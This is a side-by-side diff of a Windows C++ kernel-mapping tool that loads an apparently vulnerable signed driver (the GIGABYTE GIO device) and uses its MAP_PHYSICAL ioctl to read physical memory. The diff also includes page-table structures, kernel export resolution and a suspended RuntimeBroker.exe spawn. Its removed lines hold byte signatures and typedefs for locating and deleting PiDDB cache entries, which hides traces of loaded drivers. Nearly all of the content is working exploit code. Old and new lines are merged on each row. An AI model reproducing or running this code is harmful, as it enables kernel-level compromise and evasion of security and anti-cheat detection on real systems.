static const auto random_file_name = [](std::size_t length) -> std::string static const auto random_file_name = [](std::size_t length) -> std::string
{ {
@ -241,41 +220,37 @@ namespace driver
return { load(file_path, service_name), service_name }; return { load(file_path, service_name), service_name };
} }
inline std::tuple<bool, std::string> load(const std::uint8_t* buffer, const std::size_t size) __forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple<bool, std::string>
{ {
std::vector<std::uint8_t> image(buffer, buffer + size); std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image); return load(image);
} }
inline bool unload(const std::string& service_name) __forceinline auto unload(const std::string& service_name) -> bool
{ {
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name; reg_path += service_name;
static const auto lp_nt_unload_drv = ANSI_STRING driver_rep_path_cstr;
::GetProcAddress( UNICODE_STRING driver_reg_path_unicode;
GetModuleHandleA("ntdll.dll"),
"NtUnloadDriver"
);
if (lp_nt_unload_drv) RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
{ RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode);
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
const bool delete_reg = util::delete_service_entry(service_name);
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode); // sometimes you cannot delete the driver off disk because there are still handles open
const auto image_path = std::filesystem::temp_directory_path().string() + service_name; // to the driver, this means the driver is still loaded into the kernel...
const bool delete_reg = util::delete_service_entry(service_name); try
try {
{ std::filesystem::remove(image_path);
const bool delete_drv = std::filesystem::remove(image_path); }
} catch (std::exception& e)
catch(std::exception& e) {} {
return unload_drv && delete_reg; return false;
} }
return false; return delete_reg && unload_drv;
} }
} }

@ -1,6 +1,10 @@
#pragma once #pragma once
#include <Windows.h> #include <Windows.h>
#include <winternl.h> #include <winternl.h>
#include <ntstatus.h>
#include <cstdint>
#include <cstddef>
#include <map>
#pragma comment(lib, "ntdll.lib") #pragma comment(lib, "ntdll.lib")
#if _DEBUG #if _DEBUG
@ -11,50 +15,15 @@
#define DBG_PRINT(...) printf(__VA_ARGS__) #define DBG_PRINT(...) printf(__VA_ARGS__)
#endif #endif
#define PAGE_4KB 0x1000
#define MM_COPY_MEMORY_PHYSICAL 0x1 #define MM_COPY_MEMORY_PHYSICAL 0x1
#define MM_COPY_MEMORY_VIRTUAL 0x2 #define MM_COPY_MEMORY_VIRTUAL 0x2
#define PAGE_IN(addr, size) memset(addr, NULL, size)
inline const char piddb_lock_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C\x24";
inline const char piddb_lock_mask[] = "xxx????x????xxxx";
inline const char piddb_table_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x48\x8D\x1D\x00\x00\x00\x00\x48\x85\xC0\x0F";
inline const char piddb_table_mask[] = "xxx????x????xxx????xxxx";
constexpr auto PAGE_SIZE = 0x1000;
constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
constexpr auto SystemModuleInformation = 11; constexpr auto SystemModuleInformation = 11;
constexpr auto SystemHandleInformation = 16; constexpr auto SystemHandleInformation = 16;
constexpr auto SystemExtendedHandleInformation = 64; constexpr auto SystemExtendedHandleInformation = 64;
typedef struct PiDDBCacheEntry
{
LIST_ENTRY list;
UNICODE_STRING driver_name;
ULONG time_stamp;
NTSTATUS load_status;
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
}PIDCacheobj;
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
typedef struct _RTL_PROCESS_MODULE_INFORMATION typedef struct _RTL_PROCESS_MODULE_INFORMATION
{ {
HANDLE Section; HANDLE Section;
@ -84,101 +53,10 @@ typedef struct _MM_COPY_ADDRESS {
}; };
} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS; } MM_COPY_ADDRESS, * PMMCOPY_ADDRESS;
typedef CCHAR KPROCESSOR_MODE;
typedef enum _MODE {
KernelMode,
UserMode,
MaximumMode
} MODE;
typedef enum _POOL_TYPE {
NonPagedPool,
NonPagedPoolExecute,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS,
MaxPoolType,
NonPagedPoolBase,
NonPagedPoolBaseMustSucceed,
NonPagedPoolBaseCacheAligned,
NonPagedPoolBaseCacheAlignedMustS,
NonPagedPoolSession,
PagedPoolSession,
NonPagedPoolMustSucceedSession,
DontUseThisTypeSession,
NonPagedPoolCacheAlignedSession,
PagedPoolCacheAlignedSession,
NonPagedPoolCacheAlignedMustSSession,
NonPagedPoolNx,
NonPagedPoolNxCacheAligned,
NonPagedPoolSessionNx
} POOL_TYPE;
typedef enum _MEMORY_CACHING_TYPE {
MmNonCached,
MmCached,
MmWriteCombined,
MmHardwareCoherentCached,
MmNonCachedUnordered,
MmUSWCCached,
MmMaximumCacheType,
MmNotMapped
} MEMORY_CACHING_TYPE;
typedef struct _KAPC_STATE {
LIST_ENTRY ApcListHead[MaximumMode];
struct _KPROCESS* Process;
union {
UCHAR InProgressFlags;
struct {
BOOLEAN KernelApcInProgress : 1;
BOOLEAN SpecialApcInProgress : 1;
};
};
BOOLEAN KernelApcPending;
union {
BOOLEAN UserApcPendingAll;
struct {
BOOLEAN SpecialUserApcPending : 1;
BOOLEAN UserApcPending : 1;
};
};
} KAPC_STATE, * PKAPC_STATE, * PRKAPC_STATE;
using PEPROCESS = PVOID; using PEPROCESS = PVOID;
using ZwOpenProcess = NTSYSAPI NTSTATUS (__fastcall*)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
CLIENT_ID* ClientId
);
using ZwAllocateVirtualMemory = NTSTATUS(__fastcall*)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
using MmCopyVirtualMemory = NTSTATUS (__fastcall*)(
IN PEPROCESS FromProcess,
IN PVOID FromAddress,
IN PEPROCESS ToProcess,
OUT PVOID ToAddress,
IN SIZE_T BufferSize,
IN KPROCESSOR_MODE PreviousMode,
OUT PSIZE_T NumberOfBytesCopied
);
using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)( using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)(
HANDLE ProcessId, HANDLE ProcessId,
PEPROCESS* Process PEPROCESS* Process
); );
@ -190,171 +68,123 @@ using MmCopyMemory = NTSTATUS(__stdcall*)(
PSIZE_T PSIZE_T
); );
using MmGetVirtualForPhysical = PVOID(__fastcall*)( using MmGetVirtualForPhysical = std::uintptr_t(__fastcall*)(
__in PHYSICAL_ADDRESS PhysicalAddress __in std::uintptr_t PhysicalAddress
);
using MmGetPhysicalAddress = PVOID (__fastcall*)(
__in PVOID BaseAddress
);
using ExAllocatePool = PVOID (__fastcall*) (
POOL_TYPE PoolType,
SIZE_T NumberOfBytes
);
using IoAllocateMdl = PVOID(__fastcall*)(
__drv_aliasesMem PVOID VirtualAddress,
ULONG Length,
BOOLEAN SecondaryBuffer,
BOOLEAN ChargeQuota,
PVOID Irp
);
using MmBuildMdlForNonPagedPool = void (__fastcall*)(
PVOID MemoryDescriptorList
);
using MmMapLockedPagesSpecifyCache = PVOID (__fastcall*)(
PVOID MemoryDescriptorList,
KPROCESSOR_MODE AccessMode,
MEMORY_CACHING_TYPE CacheType,
PVOID RequestedAddress,
ULONG BugCheckOnFailure,
ULONG Priority
);
using KeUnstackDetachProcess = void (__fastcall*)(
PRKAPC_STATE ApcState
); );
using KeStackAttachProcess = void (__fastcall*)( using MmGetPhysicalAddress = std::uintptr_t(__fastcall*)(
PEPROCESS PROCESS, __in std::uintptr_t BaseAddress
PRKAPC_STATE ApcState
);
using ExFreePool = void* (__fastcall*)(
PVOID P
);
using ZwLockVirtualMemory = NTSTATUS (__fastcall*)(
IN HANDLE,
IN OUT PVOID,
IN OUT PULONG,
IN ULONG
); );
typedef union _virt_addr_t typedef union _virt_addr_t
{ {
PVOID value; void* value;
struct struct
{ {
ULONG64 offset : 12; std::uint64_t offset : 12;
ULONG64 pt_index : 9; std::uint64_t pt_index : 9;
ULONG64 pd_index : 9; std::uint64_t pd_index : 9;
ULONG64 pdpt_index : 9; std::uint64_t pdpt_index : 9;
ULONG64 pml4_index : 9; std::uint64_t pml4_index : 9;
ULONG64 reserved : 16; std::uint64_t reserved : 16;
}; };
} virt_addr_t, *pvirt_addr_t; } virt_addr_t, *pvirt_addr_t;
static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pml4e typedef union _pml4e
{ {
ULONG64 value; std::uint64_t value;
struct struct
{ {
ULONG64 present : 1; // Must be 1, region invalid if 0. std::uint64_t present : 1; // Must be 1, region invalid if 0.
ULONG64 rw : 1; // If 0, writes not allowed. std::uint64_t ReadWrite : 1; // If 0, writes not allowed.
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed. std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PDPT. std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT.
ULONG64 page_cache : 1; // Determines the memory type used to access PDPT. std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT.
ULONG64 accessed : 1; // If 0, this entry has not been used for translation. std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
ULONG64 Ignored1 : 1; std::uint64_t Ignored1 : 1;
ULONG64 page_size : 1; // Must be 0 for PML4E. std::uint64_t large_page : 1; // Must be 0 for PML4E.
ULONG64 Ignored2 : 4; std::uint64_t Ignored2 : 4;
ULONG64 pfn : 36; // The page frame number of the PDPT of this PML4E. std::uint64_t pfn : 36; // The page frame number of the PDPT of this PML4E.
ULONG64 Reserved : 4; std::uint64_t Reserved : 4;
ULONG64 Ignored3 : 11; std::uint64_t Ignored3 : 11;
ULONG64 nx : 1; // If 1, instruction fetches not allowed. std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
}; };
} pml4e, * ppml4e; } pml4e, * ppml4e;
static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pdpte typedef union _pdpte
{ {
ULONG64 value; std::uint64_t value;
struct struct
{ {
ULONG64 present : 1; // Must be 1, region invalid if 0. std::uint64_t present : 1; // Must be 1, region invalid if 0.
ULONG64 rw : 1; // If 0, writes not allowed. std::uint64_t rw : 1; // If 0, writes not allowed.
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed. std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PD. std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PD.
ULONG64 page_cache : 1; // Determines the memory type used to access PD. std::uint64_t page_cache : 1; // Determines the memory type used to access PD.
ULONG64 accessed : 1; // If 0, this entry has not been used for translation. std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
ULONG64 Ignored1 : 1; std::uint64_t Ignored1 : 1;
ULONG64 page_size : 1; // If 1, this entry maps a 1GB page. std::uint64_t large_page : 1; // If 1, this entry maps a 1GB page.
ULONG64 Ignored2 : 4; std::uint64_t Ignored2 : 4;
ULONG64 pfn : 36; // The page frame number of the PD of this PDPTE. std::uint64_t pfn : 36; // The page frame number of the PD of this PDPTE.
ULONG64 Reserved : 4; std::uint64_t Reserved : 4;
ULONG64 Ignored3 : 11; std::uint64_t Ignored3 : 11;
ULONG64 nx : 1; // If 1, instruction fetches not allowed. std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
}; };
} pdpte, * ppdpte; } pdpte, * ppdpte;
static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pde typedef union _pde
{ {
ULONG64 value; std::uint64_t value;
struct struct
{ {
ULONG64 present : 1; // Must be 1, region invalid if 0. std::uint64_t present : 1; // Must be 1, region invalid if 0.
ULONG64 rw : 1; // If 0, writes not allowed. std::uint64_t rw : 1; // If 0, writes not allowed.
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed. std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PT. std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PT.
ULONG64 page_cache : 1; // Determines the memory type used to access PT. std::uint64_t page_cache : 1; // Determines the memory type used to access PT.
ULONG64 accessed : 1; // If 0, this entry has not been used for translation. std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
ULONG64 Ignored1 : 1; std::uint64_t Ignored1 : 1;
ULONG64 page_size : 1; // If 1, this entry maps a 2MB page. std::uint64_t large_page : 1; // If 1, this entry maps a 2MB page.
ULONG64 Ignored2 : 4; std::uint64_t Ignored2 : 4;
ULONG64 pfn : 36; // The page frame number of the PT of this PDE. std::uint64_t pfn : 36; // The page frame number of the PT of this PDE.
ULONG64 Reserved : 4; std::uint64_t Reserved : 4;
ULONG64 Ignored3 : 11; std::uint64_t Ignored3 : 11;
ULONG64 nx : 1; // If 1, instruction fetches not allowed. std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
}; };
} pde, * ppde; } pde, * ppde;
static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pte typedef union _pte
{ {
ULONG64 value; std::uint64_t value;
struct struct
{ {
ULONG64 present : 1; // Must be 1, region invalid if 0. std::uint64_t present : 1; // Must be 1, region invalid if 0.
ULONG64 rw : 1; // If 0, writes not allowed. std::uint64_t rw : 1; // If 0, writes not allowed.
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed. std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access the memory. std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access the memory.
ULONG64 page_cache : 1; // Determines the memory type used to access the memory. std::uint64_t page_cache : 1; // Determines the memory type used to access the memory.
ULONG64 accessed : 1; // If 0, this entry has not been used for translation. std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
ULONG64 Dirty : 1; // If 0, the memory backing this page has not been written to. std::uint64_t Dirty : 1; // If 0, the memory backing this page has not been written to.
ULONG64 PageAccessType : 1; // Determines the memory type used to access the memory. std::uint64_t PageAccessType : 1; // Determines the memory type used to access the memory.
ULONG64 Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global. std::uint64_t Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global.
ULONG64 Ignored2 : 3; std::uint64_t Ignored2 : 3;
ULONG64 pfn : 36; // The page frame number of the backing physical page. std::uint64_t pfn : 36; // The page frame number of the backing physical page.
ULONG64 Reserved : 4; std::uint64_t reserved : 4;
ULONG64 Ignored3 : 7; std::uint64_t Ignored3 : 7;
ULONG64 ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key. std::uint64_t ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key.
ULONG64 nx : 1; // If 1, instruction fetches not allowed. std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
}; };
} pte, * ppte; } pte, * ppte;
static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T); struct pt_entries
using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG); {
using MmCopyMemory = NTSTATUS(__stdcall*)(PVOID, MM_COPY_ADDRESS, SIZE_T, ULONG, PSIZE_T); std::pair<ppml4e, pml4e> pml4;
using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(uintptr_t, size_t); std::pair<ppdpte, pdpte> pdpt;
using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*, bool); std::pair<ppde, pde> pd;
using RtlLookupElementGenericTableAvl = PIDCacheobj * (__stdcall*) (void*, void*); std::pair<ppte, pte> pt;
using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*, void*); };
using ExReleaseResourceLite = bool(__stdcall*)(void*);
using PsGetProcessSectionBaseAddress = void* (__fastcall*)(PEPROCESS);

@ -10,16 +10,16 @@
#include <tlhelp32.h> #include <tlhelp32.h>
#include <array> #include <array>
#include <algorithm> #include <algorithm>
#include <atomic>
#include "nt.hpp" #include "nt.hpp"
namespace util namespace util
{ {
//--- ranges of physical memory //--- ranges of physical memory
inline std::map<std::uintptr_t, std::size_t> pmem_ranges; inline std::map<std::uintptr_t, std::size_t> pmem_ranges;
//--- validates the address //--- validates the address
inline bool is_valid(std::uintptr_t addr) __forceinline auto is_valid(std::uintptr_t addr) -> bool
{ {
for (auto range : pmem_ranges) for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second) if (addr >= range.first && addr <= range.first + range.second)
@ -48,12 +48,44 @@ namespace util
return true; return true;
})(); })();
inline std::uintptr_t get_module_base(const char* module_name) __forceinline auto start_runtime_broker() -> std::uint32_t
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(
NULL,
"C:\\Windows\\System32\\RuntimeBroker.exe",
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
SuspendThread(pi.hThread);
return pi.dwProcessId;
}
__forceinline auto get_module_base(const char* module_name) -> std::uintptr_t
{ {
void* buffer = nullptr; void* buffer = nullptr;
DWORD buffer_size = NULL; DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size); NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH) while (status == STATUS_INFO_LENGTH_MISMATCH)
{ {
@ -81,38 +113,13 @@ namespace util
} }
VirtualFree(buffer, NULL, MEM_RELEASE); VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL; return {};
} }
inline unsigned start_runtime_broker() __forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER
{ {
STARTUPINFO si; if (!base_addr || *(short*)base_addr != IMAGE_DOS_SIGNATURE)
PROCESS_INFORMATION pi; return {};
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(
NULL,
"C:\\Windows\\System32\\RuntimeBroker.exe",
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
SuspendThread(pi.hThread);
return pi.dwProcessId;
}
inline PIMAGE_FILE_HEADER get_file_header(void* base_addr)
{
if (!base_addr || *(short*)base_addr != 0x5A4D)
return NULL;
PIMAGE_DOS_HEADER dos_headers = PIMAGE_DOS_HEADER dos_headers =
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr); reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
@ -124,9 +131,7 @@ namespace util
return &nt_headers->FileHeader; return &nt_headers->FileHeader;
} }
// taken from: __forceinline auto get_pid(const char* proc_name) -> std::uint32_t
// http://www.cplusplus.com/forum/windows/12137/
inline DWORD get_pid(const char* proc_name)
{ {
PROCESSENTRY32 proc_info; PROCESSENTRY32 proc_info;
proc_info.dwSize = sizeof(proc_info); proc_info.dwSize = sizeof(proc_info);
@ -155,25 +160,7 @@ namespace util
return NULL; return NULL;
} }
// this was taken from wlan's drvmapper: __forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t
// https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
{
std::ifstream fstr(file, std::ios::binary);
fstr.unsetf(std::ios::skipws);
fstr.seekg(0, std::ios::end);
const auto file_size = fstr.tellg();
fstr.seekg(NULL, std::ios::beg);
data.reserve(static_cast<uint32_t>(file_size));
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
}
// get base address of kernel module
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
inline std::uintptr_t get_kernel_module_base(const char* module_name)
{ {
void* buffer = nullptr; void* buffer = nullptr;
DWORD buffer_size = NULL; DWORD buffer_size = NULL;
@ -209,10 +196,7 @@ namespace util
return NULL; return NULL;
} }
// get base address of kernel module __forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void*
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
inline void* get_module_export(const char* module_name, const char* export_name, bool rva = false)
{ {
void* buffer = nullptr; void* buffer = nullptr;
DWORD buffer_size = 0; DWORD buffer_size = 0;
@ -247,7 +231,8 @@ namespace util
std::string(getenv("SYSTEMROOT")).append("\\") std::string(getenv("SYSTEMROOT")).append("\\")
); );
auto module_base = LoadLibraryEx(full_path.c_str(), NULL, DONT_RESOLVE_DLL_REFERENCES); auto module_base = LoadLibraryExA(full_path.c_str(),
NULL, DONT_RESOLVE_DLL_REFERENCES);
PIMAGE_DOS_HEADER p_idh; PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh; PIMAGE_NT_HEADERS p_inh;
PIMAGE_EXPORT_DIRECTORY p_ied; PIMAGE_EXPORT_DIRECTORY p_ied;
@ -273,8 +258,8 @@ namespace util
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
// find exported function
for (auto i = 0; i < p_ied->AddressOfFunctions; i++) for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
{
if (!strcmp(export_name, (char*)module_base + name[i])) if (!strcmp(export_name, (char*)module_base + name[i]))
{ {
if (!rva) if (!rva)
@ -290,13 +275,14 @@ namespace util
return result; return result;
} }
} }
}
} }
} }
VirtualFree(buffer, NULL, MEM_RELEASE); VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL; return NULL;
} }
inline void* get_module_export(void* module_base, const char* export_name) __forceinline auto get_kmodule_export(void* module_base, const char* export_name) -> void*
{ {
PIMAGE_DOS_HEADER p_idh; PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh; PIMAGE_NT_HEADERS p_inh;
@ -323,126 +309,14 @@ namespace util
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
// find exported function
for (auto i = 0; i < p_ied->AddressOfFunctions; i++) for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
{
if (!strcmp(export_name, (char*)module_base + name[i])) if (!strcmp(export_name, (char*)module_base + name[i]))
{ {
auto result = (void*)((std::uintptr_t)module_base + addr[ordinal[i]]); auto result = (void*)((std::uintptr_t)module_base + addr[ordinal[i]]);
return result; return result;
} }
return NULL;
}
namespace memory
{
template<std::size_t pattern_length>
inline std::uintptr_t pattern_scan_kernel(const char(&signature)[pattern_length], const char(&mask)[pattern_length])
{
static const auto kernel_addr =
LoadLibraryEx(
"ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
static const auto p_idh = reinterpret_cast<PIMAGE_DOS_HEADER>(kernel_addr);
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
static const auto p_inh = reinterpret_cast<PIMAGE_NT_HEADERS>((LPBYTE)kernel_addr + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return NULL;
static auto current_section = reinterpret_cast<PIMAGE_SECTION_HEADER>(p_inh + 1);
static const auto first_section = current_section;
static const auto num_sec = p_inh->FileHeader.NumberOfSections;
static std::atomic<bool> ran_before = false;
//
// only run this once.
//
if (!ran_before.exchange(true))
for (; current_section < first_section + num_sec; ++current_section)
if (!strcmp(reinterpret_cast<char*>(current_section->Name), "PAGE"))
break;
static const auto page_section_begin =
reinterpret_cast<std::uint64_t>(kernel_addr) + current_section->VirtualAddress;
const auto pattern_view = std::string_view{
reinterpret_cast<char*>(page_section_begin),
current_section->SizeOfRawData
};
std::array<std::pair<char, char>, pattern_length - 1> pattern{};
for (std::size_t index = 0; index < pattern_length - 1; index++)
pattern[index] = { signature[index], mask[index] };
auto resultant_address = std::search(
pattern_view.cbegin(),
pattern_view.cend(),
pattern.cbegin(),
pattern.cend(),
[](char left, std::pair<char, char> right) -> bool {
return (right.second == '?' || left == right.first);
});
return resultant_address == pattern_view.cend() ? 0 : reinterpret_cast<std::uintptr_t>(resultant_address.operator->());
}
//
// be aware that this may not work for win8 or win7!
//
inline void* get_piddb_lock()
{
static const auto absolute_addr_instruction =
pattern_scan_kernel(
piddb_lock_sig,
piddb_lock_mask
);
static const auto ntoskrnl_in_my_process =
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
return {};
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
if (!kernel_base)
return {};
return reinterpret_cast<void*>(kernel_base + real_rva);
}
//
// be aware that this may not work for win8 or win7!
//
inline void* get_piddb_table()
{
static const auto absolute_addr_instruction =
pattern_scan_kernel(
piddb_table_sig,
piddb_table_mask
);
static const auto ntoskrnl_in_my_process =
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
return {};
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
if (!kernel_base)
return {};
return reinterpret_cast<void*>(kernel_base + real_rva);
} }
return NULL;
} }
} }

File diff suppressed because it is too large Load Diff

@ -0,0 +1,142 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "../util/util.hpp"
#include "../util/loadup.hpp"
#include "raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack (push, 1)
typedef struct _gdrv_t
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t phys_addr;
unsigned long io_space;
unsigned long size;
} gdrv_t, *pgdrv_t;
#pragma pack (pop)
namespace vdm
{
inline HANDLE drv_handle;
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
{
const auto [result, key] =
driver::load(
vdm::raw_driver,
sizeof(vdm::raw_driver)
);
if (!result)
return { {}, {} };
vdm::drv_handle = CreateFileA(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { vdm::drv_handle, key };
}
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
{
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
return false;
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(buffer, out_buffer[0], size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
